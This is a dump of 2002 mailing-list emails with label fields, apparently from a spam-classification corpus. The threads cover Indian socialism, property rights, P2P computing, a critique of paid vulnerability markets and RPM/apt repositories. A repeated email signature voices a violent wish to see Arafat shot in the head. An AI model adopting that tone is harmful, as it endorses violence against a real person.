basis of collective goals. > > > > Socialist ideologues are impervious to evidence that > > their system inspires > > even more human misery in the civic realm. This is > > because socialism > > provides the political mechanism for and legitimacy > > by which people > > identify as members of groups. While it may suit the > > socialist agenda to > > create them-and-us scenarios relating to workers and > > capitalists or > > peasants and urban dwellers, this logic is readily > > converted to other types > > of divisions. > > > > In the case of India, competition for power has > > increasingly become > > identified with religiosity or ethnicity, as is > > evident by the rise of the > > Bharatiya Janata Party, supported by radical > > Hindutva supporters. As > > elsewhere, political parties based on religion are > > by their very nature > > exclusionary. These narrow concepts of identity work > > against nation > > building since such a politics forces arrangements > > that cannot accommodate > > notions of universal values. > > > > Socialism also sets the stage for populist promises > > of taking from one > > group to support another. This variety of political > > posturing by the > > Congress Party was used to build a coalition of > > disaffected minorities. In > > turn, the BJP built its power base on a promise to > > restore power to Hindus. > > And so it is that India's heritage of socialist > > ideology provided the > > beginnings of a political culture that evolved into > > sectarian populism that > > has wrought cycles of communal violence. Populism > > with its solicitations of > > political patronage, whether based upon nationalism > > or some other ploy, is > > also open to the sort of rampant corruption so > > evident in India. > > > > At issue in India is nothing less than the role of > > the state. Should it be > > used as a mechanism to protect the freedom and > > rights of individuals? Or > > should the state be a vehicle for groups to gain > > power? It should be clear > > the latter approach would lead to the destruction of > > India's democracy > > while the former will allow it to survive. > > > > It is undeniable that India's public policy guided > > by socialism has > > promoted divisions that contributed to social > > instability and economic > > destruction. This dangerous game has only served the > > narrow interests of > > those who seek to capture or preserve power. That > > India is a ""socialist"" > > state, specified in a preamble to the constitution, > > makes this binding > > commitment evident in the nature of interventionist > > policies that have > > wrought slower economic growth causing great harm to > > the poor and unskilled > > who have lost access to economic opportunities. > > Socialism also introduced > > forces that are destroying India's hard-earned > > democracy. A paradigm shift > > in the nature of Indian politics is needed so the > > state ceases serving as a > > mechanism for groups to gain power and instead > > becomes an instrument to > > secure rights and freedoms for individuals. > > > > Mr. Lingle is professor of economics at Universidad > > Francisco Marroquin in > > Guatemala, and global strategist for > > eConoLytics.com. > > > > > > > > -- > > ----------------- > > R. A. Hettinga > > The Internet Bearer Underwriting Corporation > > > > 44 Farquhar Street, Boston, MA 02131 USA > > ""... however it may deserve respect for its > > usefulness and antiquity, > > [predicting the end of the world] has not been found > > agreeable to > > experience."" -- Edward Gibbon, 'Decline and Fall of > > the Roman Empire' > > http://xent.com/mailman/listinfo/fork > > > __________________________________________________ > Do You Yahoo!? > HotJobs - Search Thousands of New Jobs > http://www.hotjobs.com > http://xent.com/mailman/listinfo/fork http://xent.com/mailman/listinfo/fork",0,1 """Gordon Mohr"" ",,"Tue, 20 Aug 2002 20:00:20 -0700",Re: The Curse of India's Socialism,"Ian Andrew Bell writes: > I think that this and other articles confuse Socialism with > Bureaucracy. Libertarianism as implemented in North America is not > exactly the shining pinnacle of economic efficiency. Libertarianism is implemented in North America? Where?!?!? > Just try starting a telephone company in the US or (even worse) > Canada. It can take a year or more to get the blessing of our own > ""Permit Rajs"" at the FCC, PUC, and PTTs (or, in the decidedly more > socialist leaning Canada, Industry Canada and the CRTC). Telecom regulations are an example of implemented Libertarianism? And for how screwed up North America's telecom industries and regulators are, they're better than much of the rest of the world, where it doesn't just ""take a year or more"" to get started: it's impossible/illegal. Matters of degree, matter. > Yet, despite all of this intense regulation and paper pushing, as > well as regulatory scrutiny by the FTC, SEC, and IRS, the > executives of Telecom Companies have managed to bilk the investment > community for what looks to be tens of billions of dollars. They > finished their routine with the a quadruple lutz -- laying off > hundreds of thousands of workers when it all came crashing down. > > So.. tell me again.. how are we better off? We can lose billions of dollars, and have hundreds of thousands of people laid off... and after it all, our diets, health, longevity, and freedom to pursue activities of our own choosing are still the envy of billions of people. Would you rather be unemployed, broke, and in possession of career skills which merely match the local average in: - North America, or - India/Peru/Egypt/Philippines/etc ???? - Gordon http://xent.com/mailman/listinfo/fork",0,1 """Russell Turpin"" ",fork@spamassassin.taint.org,"Wed, 21 Aug 2002 17:06:29 +0000",Re: The Curse of India's Socialism,"Owen Byrne: >The factbook calls it ""welfare capitalism"" - don't really care if its >socialism or capitalism, it still seems like an alternative to North >American 'capitalism.' It's not so much an alternative as it is a small variant of the US's own welfare capitalism. In these matters, we're like brothers who think our differences great, not seeing that we are like peas in a pod until we compare ourselves to strangers from other cultures and lands. Of course, yes, it does make a difference to the unemployed whether they are collecting benefits in Texas or New York. _________________________________________________________________ Send and receive Hotmail on your mobile device: http://mobile.msn.com http://xent.com/mailman/listinfo/fork",0,1 yyyy@spamassassin.taint.org (Justin Mason),"""Gordon Mohr"" ","Wed, 21 Aug 2002 18:10:29 +0100",Re: The Curse of India's Socialism,"""Gordon Mohr"" said: > If you plan to spend most of your time in that broke/ > unemployed/unexceptional mode, please, leave North America > for Scandinavia. hmm, I might, at least they've got affordable DSL there, and haven't signed a DMCA-like law yet ;) --j. http://xent.com/mailman/listinfo/fork",0,1 James Rogers ,fork@spamassassin.taint.org,21 Aug 2002 11:19:58 -0700,RE: The Curse of India's Socialism,"On Tue, 2002-08-20 at 14:16, Dave Long wrote: > > In the > > Philippines, getting legal title can take 20 years. In Egypt, about 80% > > of the population in Cairo lives in places where they are officially > > illegal. > > If the situation in Egypt is anything > like the situation in the Philippines, > it's because people (due to a strange > desire for jobs) squat on land which > they don't own.* The Philippines suffers from a Spanish-imposed aristocratic landowner class, the same as in most of Latin America, with the serf-like relationships that go with it. You have multiple generations of peasants/squatters that cultivate and live on the lands almost as a human parts of the property package. The problem in the Philippines is that the landowner class is fading, but the peasants are still operating under the old economic assumption even though it isn't being imposed on them in most cases. In a number of areas, you have landowners that don't use their lands during bad years (i.e. when sugar prices fall too low or some other condition that makes planting unprofitable in the global economy) and in some cases have all but abandoned them, but when they come back to plant crops several years later they find the same peasants living on the fallow land as scratch farmers to survive and waiting for the landowner to come back and give them something to do. The government's solution to this was to ""redistribute"" fallow land to the peasants that lived on them, and created a number of problems in the process. First of all, it meant that all the agricultural producers had to plant crops all the time (profitable or not) or the government would seize the land and give it to someone else, which is not economically optimal by any means. Second when they give it to the peasants, they use it to become scratch farmers, which is not a particularly productive economic activity, and the landowners generally let them do that for free when the land is fallow anyway. Third, the peasants generally *prefer* to work for the landowner rather than own the land themselves; they make more money, have more opportunities to become middle-class, and enjoy a better lifestyle under that arrangement. So the result of all this is that the landowners either run an economically sub-optimal agriculture business to protect their lands, or they risk having their land seized without compensation and given to the peasants/squatters who will gladly sell it back to the plantation owner rather than becoming scratch farmers, another economically sub-optimal solution. The only real role of the government in this arrangement is to be a drag on the economy. And I don't know about 20 years for land titles in the Philippines. It takes a little longer than in the US (though not much), and you may have to bribe someone to make it work well in an expedited manner, but it isn't that onerous in the regions I'm familiar with. Speaking as a former Philippine plantation owner. (Yes, really. On Negros and Cebu. Have I led a strange life or what?) -James Rogers jamesr@best.com http://xent.com/mailman/listinfo/fork",0,1 """John Hall"" ",,"Wed, 21 Aug 2002 11:18:18 -0700",Property Rights,"Some of the reasons they don't own it is because it is government land that you can't convert without an army of lawyers. In other cases, you originally had owners who didn't have the 'right' to subdivide, but they subdivide anyway. It is interesting to note that for several centuries in Japan it was a death sentence to sell land. They sold it anyway, and kept records. In the US, we eventually got quite friendly with squatters and adverse possession, and integrated out extra-legal arrangements and 'spontaneous social contracts' into the official law. Mr. Long, I think you'd particularly enjoy the De Soto work. > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of Dave > Long > Sent: Tuesday, August 20, 2002 2:17 PM > To: fork@spamassassin.taint.org > Subject: RE: The Curse of India's Socialism > > > > In the > > Philippines, getting legal title can take 20 years. In Egypt, about 80% > > of the population in Cairo lives in places where they are officially > > illegal. > > If the situation in Egypt is anything > like the situation in the Philippines, > it's because people (due to a strange > desire for jobs) squat on land which > they don't own.* > > For people to be able to buy their own > land, capitalism must be healthy, but > not triumphant; there need to be too > many capitalists, not too few. > > (how well off were the major landowners > in india before independence?) > > -Dave > > * In the US, we are not so friendly to > our capitalists: adverse possession is > only supposed to take 5 years. > > (How much do we owe to our frontiers? > Heck, in Egypt didn't they pretty much > invent geometry a few millenia ago to > keep track of their property lines?) > > http://xent.com/mailman/listinfo/fork http://xent.com/mailman/listinfo/fork",0,1 """John Hall"" ",,"Wed, 21 Aug 2002 11:23:43 -0700",RE: The Curse of India's Socialism,"> From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of Justin > Mason > > So IMO it's the corruption that's the problem; and corruption != > regulation, and corruption != socialism. Also, over-population is really > a symptom of that. Socialism increases regulation which increases corruption. But that doesn't matter as much as if the official law does not conform to the facts on the ground. If you don't match the law to the facts on the ground, you wind up with a two-tier society (De Soto's Bell Jar). Worse, the massive evasion of the official law encourages the corruption you speak of. In some countries, the agencies in charge of registering property also arrange for illegal living arrangements for their employees. They do this because even the people who run the system can't make it work for people they care about. http://xent.com/mailman/listinfo/fork",0,1 """John Hall"" ",,"Wed, 21 Aug 2002 11:25:34 -0700",RE: The Curse of India's Socialism,"IAB: That is a GOOD think about South Korea. Not a bad thing. That is easy to see, since the people of India would like to have more of what SK has ... > From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of Robert > Harley > Sent: Wednesday, August 21, 2002 3:10 AM > To: fork@spamassassin.taint.org > Subject: Re: The Curse of India's Socialism > > IAB wrote: > >This of course came at the expense of the environment: widespread air > >and water pollution, etc.: South Korea is the 10th largest CO2 > >polluter in the world, despite ranking 26th in population. > > CO2 is pollution? And here I am going around metabolizing glucose and > exhaling carbon dioxide every four seconds since I was a kid! Why > didn't anybody tell me?!? I'll hold my breath from now on. Honest guv. > > R > http://xent.com/mailman/listinfo/fork http://xent.com/mailman/listinfo/fork",0,1 """John Hall"" ",,"Wed, 21 Aug 2002 11:30:27 -0700",RE: The Curse of India's Socialism,"I don't know who said the below. 1) Measured in money, you are wrong. Different ethnic groups achieve at widely different rates. Always have. A lot of research has been done on that topic, Sowell among others. 2) If you exchanged the population of India and America, in a generation India would look like America. In Two, America would look like India. 3) As Bob said: 'valuable resources' has notin' to do with it. See Japan, Hong Kong, Singapore, ... > > > > I'm sure that if someone checked the statistics, that the number of > > ""successful"" vs. ""unsuccessful"" (how to define those?) Indian > > immigrants in the US is statistically similar to the number of > > successful vs. unsuccessful Scotsmen. I'm not going to, though. > > > > India is poor because it always was poor. Unlike other countries > > in the region (including Ghana, Nigeria, et al) that have emerged > > from the ashes of Imperialism with strong growth, India is not > > blessed with a strong base of valuable resources. > http://xent.com/mailman/listinfo/fork",0,1 """Pang, Hokkun"" ","""'johnhall@evergo.net'"" , fork@spamassassin.taint.org","Wed, 21 Aug 2002 14:33:01 -0500",RE: The Curse of India's Socialism,"This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C24949.8F9C7170 Content-Type: text/plain; charset=""iso-8859-1"" The best comparison for India is China. They have similar population, resources and historical misfortunes. They even had similar per captia income years back. As of today, you definitely see more products made in China than in India. So if you think material well being is what defines a better nation, then you should look at what China is doing differently from India. ------_=_NextPart_001_01C24949.8F9C7170 Content-Type: text/html; charset=""iso-8859-1"" RE: The Curse of India's Socialism The best comparison for India is China. They have similar population, resources and historical misfortunes. They even had similar per captia income years back. As of today, you definitely see more products made in China than in India. So if you think material well being is what defines a better nation, then you should look at what China is doing differently from India. ------_=_NextPart_001_01C24949.8F9C7170-- http://xent.com/mailman/listinfo/fork",0,1 Chris Haun ,fork@spamassassin.taint.org,"Wed, 21 Aug 2002 15:29:03 -0400 (EDT)",lifegem,"this just struck me as odd, but interesting in a way i guess. http://www.lifegem.com/index.htm What is a LifeGem? A LifeGem is a certified, high quality diamond created from the carbon of your loved one as a memorial to their unique and wonderful life. Chris http://xent.com/mailman/listinfo/fork",0,1 grlygrl201@aol.com,fork@spamassassin.taint.org,"Wed, 21 Aug 2002 17:41:11 -0400 (EDT)",Article to check on Network World Fusion,"Dear C. Greg Curry, This Network World Fusion article was sent to you by Geege Guten tag, y'all. ---------------------------------------------------------------- Have you visited Network World Fusion yet? On www.nwfusion.com you will find additional informative articles, primers and research on specific network technologies and products. Visit us today at www.nwfusion.com ---------------------------------------------------------------- /news/2002/0819specialfocus.html: ---------------------------------------------------------------- P2P getting down to some serious work By John Fontana Network World, 08/19/02 Just a few years removed from the mayhem of music swapping that clogged corporate networks, peer-to-peer technology is growing up and rediscovering its roots as a legitimate concept for distributed computing in corporate environments and the Internet. The turnaround is distinct since P2P has distanced itself from the darling days of Napster and has been transplanted onto the architectural drawing boards of Internet and corporate network gurus. For network executives, the about-face is showing up in such discrete places as wireless routing, identity management, Web services and grid computing. P2P has proved its worth - albeit with a few warts - in enterprise collaboration and content management applications, but its brightest future may be in the plumbing of corporate distributed computing. But even as P2P fades into the background, questions around security, standards and quality of service still have to be answered before P2P can flourish, experts say. The P2P evolution Regardless, P2P's evolution has hit its next stage. ""Peer-to-peer is an architecture and one that will play a substantial role in distributed computing as endpoints in the network gain more power,"" says Jamie Lewis, CEO and research chair of Burton Group. He says that will be particularly important for Web services as peers share processes and data. ""P2P will become a fundamental part of how distributed computing evolves across the Internet and how enterprises build distributed systems internally."" Lewis says the Internet today is very rudimentary with its basic protocols for basic operations. ""Now we're seriously talking about the network becoming the computer, incorporating some P2P connections and being able to share processes and power, which is what grid computing provides."" Observers say it's a renaissance. ""P2P's reverting to an architecture that can be applied to solve problems that by their very nature are distributed,"" says Neil Macehiter, senior consultant for Ovum, a research and consulting firm. ""But the question is can this model provide benefits for business use."" Macehiter says it can, but he cautions that security, such as removing blocks to P2P traffic on corporate firewalls, is still a major inhibitor to acceptance. ""But you can imagine something like grid extending to share application logic instead of just being a data grid or a storage grid. When you look at Web services sharing business logic in the enterprise, you see the intersection with grid and P2P,"" he says. Working together To underscore P2P's evolution, the Global Grid Forum (GGF), a 2-year-old group founded by academics and researches, merged in April with the P2P Working Group, originally founded by Intel. The groups are attempting to marry the GGF's work on harnessing servers on a grid with P2P's ability to connect desktops. ""We're now trying to figure out how grid and P2P play nice together, and capture that power for use in enterprise computing,"" says Andrew Chien, co-director of the GGF's peer-to-peer area and CTO of Entropia, a provider of desktop grid applications. Late last month, the merged group began evaluating how P2P relates to the Open Grid Services Architecture, an effort to standardize grid computing. Chien says his group is exploring how P2P protocols for such things as registration, resource discovery and coordination of data transfer support a common grid infrastructure. And P2P's roots are reaching into other areas. It is an integral part of mobile wireless technology set for release this fall by MeshNetworks. The company's MeshLAN software extends the range of 802.11 wireless networks by making every wireless peer an endpoint in an ad-hoc P2P network and also a router/repeater to channel traffic to other peers. Using a patented multihopping technology, peers that are out of range of wireless access points or peers they wish to communicate with can hop through other peers to reach their destination, including corporate LANs. It not only increases the wireless range, it preserves throughput, which is up to 6 megabits. The technology also is mobile, letting hopping take place from nodes traveling in vehicles up to 250 mph. ""P2P allows us to do the hopping, and our algorithms allow the traffic to pick the most efficient path to travel,"" says Rick Rotondo, vice president of disruptive technologies for MeshNetworks. ""The beauty of a P2P network is that it is self-forming and self-healing."" And the technology is mature. The Defense Advanced Research Projects Agency (DARPA), which created the Internet, spent $150 million developing the peer technology for use in forming instant networks among soldiers on a battlefield. MeshNetworks licensed it from DARPA has spent an additional $27 million to create a commercial product. P2P also is key to the PingID Project to create an identity management system similar to work under way by Microsoft and the Liberty Alliance Project, which are not using P2P. ""Ideally, you need a way to create, manage and exchange digital identity information with no one in the middle of the transaction,"" says Andre Duran, founder of the project. He says that's P2P, but it's just one part of the equation. ""Your ID is a virtual private vault with different drawers,"" Duran says. ""One drawer may be on your PC, one may be with a service provider, and you need a client to manage all that. We are building the infrastructure to support that."" Ping ID is working on server and client software that acts like a mini-Web server and maintains a repository of user's identity information. Users have the option of exchanging IDs directly through P2P or using client/server technology to authorize a third party to dispense their identity data. ""P2P provides a level of control that other architectures don't,"" Duran says. ""It comes down to the fact that some applications are more efficient with P2P."" That is the concept that is driving P2P into so many different areas of computing. ""P2P has evolved from something highly disruptive to something complementary to intranets, extranets, mobile users and all the Web integration,"" says Greg Bolcer, CTO of Endeavors Technology, which develops a P2P collaboration software called Magi. And although P2P is still settling into this new role, it's obvious that its reputation as a music-swapping corporate scourge are now well behind it. Copyright 2001 Network World, Inc. All rights reserved ---------------------------------------------------------------- Sent by: Geege mailto:grlygrl201@aol.com ................................................................ This message was sent from /news/2002/0819specialfocus.html on Network World Fusion http://www.nwfusion.com/ ................................................................ http://xent.com/mailman/listinfo/fork",0,1 kragen@pobox.com (Kragen Sitaker),fork@spamassassin.taint.org,"Thu, 22 Aug 2002 00:24:54 -0400 (EDT)",the underground software vulnerability marketplace and its hazards,"On August 7th, an entity known as ""iDEFENSE"" sent out an announcement, which is appended to this email. Briefly, ""iDEFENSE"", which bills itself as ""a global security intelligence company"", is offering cash for information about security vulnerabilities in computer software that are not publicly known, especially if you promise not to tell anyone else. If this kind of secret traffic is allowed to continue, it will pose a very serious threat to our computer communications infrastructure. At the moment, the dominant paradigm for computer security research known as ""full disclosure""; people who discover security vulnerabilities in software tell the vendor about them, and a short while later --- after the vendor has had a chance to fix the problem --- they publish the information, including code to exploit the vulnerability, if possible. This method has proven far superior to the old paradigm established by CERT in the late 1980s, which its proponents might call ""responsible disclosure"" --- never release working exploit code, and never release any information on the vulnerability before all vendors have released a patch. This procedure often left hundreds of thousands of computers vulnerable to known bugs for months or years while the vendors worked on features, and often, even after the patches were released, people wouldn't apply them because they didn't know how serious the problem was. The underground computer criminal community would often discover and exploit these same holes for months or years while the ""responsible disclosure"" process kept their victims, who had no connections in the underground, vulnerable. The problem with this is that vulnerabilities that are widely known are much less dangerous, because their victims can take steps to reduce their potential impact --- including disabling software, turning off vulnerable features, filtering traffic in transit, and detecting and responding to intrusions. They are therefore much less useful to would-be intruders. Also, software companies usually see security vulnerabilities in their software as PR problems, and so prefer to delay publication (and the expense of fixing the bugs) as long as possible. iDEFENSE is offering a new alternative that appears far more dangerous than either of the two previous paradigms. They want to be a buyer in a marketplace for secret software vulnerability information, rewarding discoverers of vulnerabilities with cash. Not long before, Snosoft, a group of security researchers evidently including some criminal elements, apparently made an offer to sell the secrecy of some software vulnerability information to the software vendor; specifically, they apparently made a private offer to Hewlett-Packard to keep a vulnerability in HP's Tru64 Unix secret if HP retained Snosoft's ""consulting services"". HP considered this extortion and responded with legal threats, and Snosoft published the information. If this is allowed to happen, it will cause two problems which, together, add up to a catastrophe. First, secret software vulnerability information will be available to the highest bidder, and to nobody else. For reasons explained later, I think the highest bidders will generally be organized crime syndicates, although that will not be obvious to the sellers. Second, finding software vulnerabilities and keeping them secret will become lucrative for many more talented people. The result will be --- just as in the ""responsible disclosure"" days --- that the good guys will remain vulnerable for months and years, while the majority of current vulnerabilities are kept secret. I've heard it argued that the highest bidders will generally be the vendors of the vulnerable software, but I don't think that's plausible. If someone can steal $20 000 because a software bug lets them, the software vendor is never held liable; often, in fact, the people who administer the software aren't liable, either --- when credit card data are stolen from an e-commerce site, for example. Knowing about a vulnerability before anyone else might save a web-site administrator some time, and it might save the software vendor some negative PR, but it can net the thief thousands of dollars. I think the highest bidders will be those for whom early vulnerability information is most lucrative --- the thieves who can use it to execute the largest heists without getting caught. Inevitably, that means organized crime syndicates, although the particular gangs who are good at networked theft may not yet exist. There might be the occasional case where a market leader, such as Microsoft, could make more money by giving their competitors bad PR than a gang could make by theft. Think of a remote-root hole in Samba, for example. Right now, people who know how to find security exploits are either motivated by personal interest in the subject, motivated by the public interest, motivated by a desire for individual recognition, or personally know criminals that benefit from their exploits. Creating a marketplace in secret vulnerability information would vastly increase the availability of that information to the people who can afford to pay the most for it: spies, terrorists, and organized crime. Let's not let that happen. This is the original iDEFENSE announcement: From: Sunil James [mailto:SJames@iDefense.com] Sent: Wednesday, August 07, 2002 12:32 PM Subject: Introducing iDEFENSE's Vulnerability Contributor Program Greetings, iDEFENSE is pleased to announce the official launch of its Vulnerability Contributor Program (VCP). The VCP pays contributors for the advance notification of vulnerabilities, exploit code and malicious code. iDEFENSE hopes you might consider contributing to the VCP. The following provides answers to some basic questions about the program: Q. How will it work? A. iDEFENSE understands the majority of security researchers do not publish security research for compensation; rather, it could be for any of a number of motivations, including the following: * Pure love of security research * The desire to protect against harm to targeted networks * The desire to urge vendors to fix their products * The publicity that often accompanies disclosure The VCP is for those who want to have their research made public to the Internet community, but who would also like to be paid for doing the work.The compensation will depend, among other things, on the following items: * The kind of information being shared (i.e. vulnerability or exploit) * The amount of detail and analysis provided * The potential severity level for the information shared * The types of applications, operating systems, and other software and hardware potentially affected * Verification by iDEFENSE Labs * The level of exclusivity, if any, for data granted to iDEFENSE Q. Who should contribute to the VCP? A. The VCP is open to any individual, security research group or other entity. Q. Why are you launching this program? A. Timeliness remains a key aspect in security intelligence. Contributions to some lists take time before publication to the public at large. More often, many of these services charge clients for access without paying the original contributor. Under the iDEFENSE program, the contributor is compensated, iDEFENSE Labs verifies the issue, and iDEFENSE clients and the public at large are warned in a timely manner. Q. Who gets the credit? A. The contributor is always credited for discovering the vulnerability or exploit information. Q. When can I contribute? The VCP is active. You are welcome to begin contributing today. To learn more, go to http://www.idefense.com/contributor.html. If you have questions or would like to sign up as a contributor to the VCP, please contact us at contributor@idefense.com. Regards, Sunil James Technical Analyst iDEFENSE ""iDEFENSE is a global security intelligence company that proactively monitors sources throughout the world -- from technical vulnerabilities and hacker profiling to the global spread of viruses and other malicious code. The iALERT security intelligence service provides decision-makers, frontline security professionals and network administrators with timely access to actionable intelligence and decision support on cyber-related threats. iDEFENSE Labs is the research wing that verifies vulnerabilities, examines the behavior of exploits and other malicious code and discovers new software/hardware weaknesses in a controlled lab environment."" http://xent.com/mailman/listinfo/fork",0,1 Tom ,Kragen Sitaker ,"Thu, 22 Aug 2002 01:18:17 -0400 (EDT)",Re: the underground software vulnerability marketplace and its hazards,"On Thu, 22 Aug 2002, Kragen Sitaker wrote: --]If this kind of secret traffic is allowed to continue, it will pose a --]very serious threat to our computer communications infrastructure. The goverment mindset is now, If you know a vulnerability and let it on to anyone BUT the manufacturer you are a criminal...end of story, go directly to jail do not collect 200$ and tip a hat to the citizen infromants who helped get you there. So this leaves lucrative contracts for those who find and then NDA the find with the manufacturer with, if the finder is smart, an imunity from any prosecution in the future so long as the NDA is kept. Oh my droogie, those who are in the shirt hairs hanging of the new age employemnt market, this could be your golden molden moment to strike the new gold mine...and perhaps coopt it fromthe start..... There are two ways to fight the powers that be, from with out and from with in...lets not turn a blind eye towards one becuase someone, yes someone, will do the deed and if that someone does not have the ""make em weak for the revultion to come"" mindset then we are all and truly doomed. Fight without Fight within and make some scratch on the differences between:)- -tomwsmf http://xent.com/mailman/listinfo/fork",0,1 Gunnar Lieb ,",","Fri, 19 Jul 2002 16:02:01 +0200",[SAtalk] Spamassassin webinterface for Communigate using PHP released,"Hi, akitogo is happy to announce that Jochen Becker has just finished a small nice PHP interface which integrates Spammassassin in the webuser interface from Communigate. It currently tested with RedHat,PHP and CGPro What is does: ------------- The users are able to: - edit the blacklist and whitelist - edit required hits (score) - define a mailbox in which every spam mail is dropped Spamassassin settings made by the webinterfaxe are handled domain wide. You can download it from: ------------------------- http://www.akitogo.com/download/spamAssassinCommunigateWebinterface.tar.gz Enjoy, Gunnar Lieb, akitogo OHG ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Fri, 19 Jul 2002 18:40:52 +0200",Re: gentoo 0.11.28 is out..,"Once upon a time, Matthias wrote : > On Thu, 18 Jul 2002 13:00:29 +0200 > Matthias Saou wrote: > > > Once upon a time, Matthias wrote : > > > ..see subject. > > ..see valhalla.freshrpms.net ;-) > > Hi, Matthias, > > You should temporarly remove gentoo 0.11.29 from valhalla.freshrpms.net. > This build (and 0.11.28) has a strong bug: Problems with copying ""deep"" > directories. > > Have reported this to Emil, he looks currently into it, a fix should be > available soon.. > > Sorry Done. Well, I feel especially sorry for him since he already qualified 0.11.28 of ""brown paper bag"" release because of the column header clicking bug :-(( I'll put up the next version as soon as it's out hoping it'll fix all current issues! Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Mark Derricutt ,rpm-zzzlist@freshrpms.net,20 Jul 2002 10:49:28 +1200,Re: Gnome 2,"Sorry about that, new machine, had set the time right, forgot about the date :( On Fri, 2002-07-19 at 09:29, Doug Stewart wrote: > Set your clock to the correct time, for the love of > all things holy (and my sanity...). _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Mark Derricutt ,rpm-zzzlist@freshrpms.net,20 Jul 2002 10:50:58 +1200,Re: Gnome 2,"On Fri, 2002-07-19 at 09:09, Jesse Keating wrote: > And you think a batch of gnome2 rpms is going to solve that? > (no offense) Not quite, but if I got gnome2 installed, then my guess is that gtk2 would also be fully installed, which would let me use the new pan. That and I'd like to try gnome2 anyway. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Mark Derricutt ,rpm-zzzlist@freshrpms.net,22 Jul 2002 08:03:32 +1200,Re: Ximian apt repos?,"On Mon, 2002-07-22 at 06:50, che wrote: > thats the correct lines to be added to sources.list for the repository > i just did a apt-get install gnome-session its still progressing :) Excellent - might give it a bash tonight :) _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 che ,rpm-zzzlist@freshrpms.net,"Sun, 21 Jul 2002 20:03:50 -0400",Re: Ximian apt repos?,"On Sun, 21 Jul 2002 10:51:51 -0500 Brian Fahrlander wrote: > [branching the thread, here] > > I found another Ximian repository- I don't know if it works yet... > > rpm http://gstreamer.net/releases/redhat/ redhat-73-i386 deps > rpm-src http://gstreamer.net/releases/redhat/ redhat-73-i386 deps > > rpm http://gstreamer.net/releases/redhat/ redhat-73-i386 deps ximian > rpm-src http://gstreamer.net/releases/redhat/ redhat-73-i386 deps ximian > > rpm http://gstreamer.net/releases/redhat/ redhat-73-i386 deps gnomehide > rpm-src http://gstreamer.net/releases/redhat/ redhat-73-i386 deps gnomehide > > These guys are EXTREMELY apt-friendly. Unlike most multimedia projects, they seem to prefer RPM/Apt over the older methods. Isn't that cool? > > Hey- how would I have known to ""apt-get install gnome-session"" to kick all this off? > > ------------------------------------------------------------------------ > Brian Fahrlnder Linux Zealot, Conservative, and Technomad > Evansville, IN My Voyage: http://www.CounterMoon.com > ICQ 5119262 > ------------------------------------------------------------------------ > I don't want to hear news from Isreal until the news contains the words > ""Bullet"", ""Brain"", and ""Arafat"". i took a look into the repository it ""just"" contains gstreamer and his dependecies but thats nice for people who use it though :) thanks, che personally i am capped to 16 kb/s upstream only :\ if i just had like 10 to 20 times of that i would run a repository for sure. i guess alot of people would love to even get daily builds (yes i know i deserve to be eaten for that idea because it would need alot of bandwidth) but well would still be nice :). > _______________________________________________ > RPM-List mailing list > http://lists.freshrpms.net/mailman/listinfo/rpm-list _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Mark Derricutt ,rpm-zzzlist@freshrpms.net,21 Jul 2002 23:59:59 +1200,Re: Ximian apt repos?,"On Mon, 2002-07-22 at 06:20, che wrote: > The server mentioned above works again now :)! Any problems with the rpm's they provided? _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Brian Fahrlander ,rpm-zzzlist@freshrpms.net,"Sun, 21 Jul 2002 10:51:51 -0500",Re: Ximian apt repos?,"[branching the thread, here] I found another Ximian repository- I don't know if it works yet... rpm http://gstreamer.net/releases/redhat/ redhat-73-i386 deps rpm-src http://gstreamer.net/releases/redhat/ redhat-73-i386 deps rpm http://gstreamer.net/releases/redhat/ redhat-73-i386 deps ximian rpm-src http://gstreamer.net/releases/redhat/ redhat-73-i386 deps ximian rpm http://gstreamer.net/releases/redhat/ redhat-73-i386 deps gnomehide rpm-src http://gstreamer.net/releases/redhat/ redhat-73-i386 deps gnomehide These guys are EXTREMELY apt-friendly. Unlike most multimedia projects, they seem to prefer RPM/Apt over the older methods. Isn't that cool? Hey- how would I have known to ""apt-get install gnome-session"" to kick all this off? ------------------------------------------------------------------------ Brian Fahrlnder Linux Zealot, Conservative, and Technomad Evansville, IN My Voyage: http://www.CounterMoon.com ICQ 5119262 ------------------------------------------------------------------------ I don't want to hear news from Isreal until the news contains the words ""Bullet"", ""Brain"", and ""Arafat"". _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """Nils O. Selsdal"" ",rpm-zzzlist@freshrpms.net,"Mon, 22 Jul 2002 09:42:18 +0200",My Repository...,"Just for your information, I have an apt-repository for RH 7.3 at http://utelsystems.dyndns.org -- NOS@Utel.no _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 che ,rpm-zzzlist@freshrpms.net,"Sun, 21 Jul 2002 14:20:07 -0400",Re: Ximian apt repos?,"On Sun, 21 Jul 2002 05:11:08 -0400 che wrote: The server mentioned above works again now :)! _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Chris Weyl ,rpm-zzzlist@freshrpms.net,21 Jul 2002 12:56:03 -0500,Re: Ximian apt repos?,"On Sun, 2002-07-21 at 09:11, Brian Fahrlander wrote: > > Server problems? Or is this a way to limit bandwidth? ""Captain, I sense a need to mirror...."" :-) If I wasn't on DSL I would. -Chris _______________________________________________ RPM-List 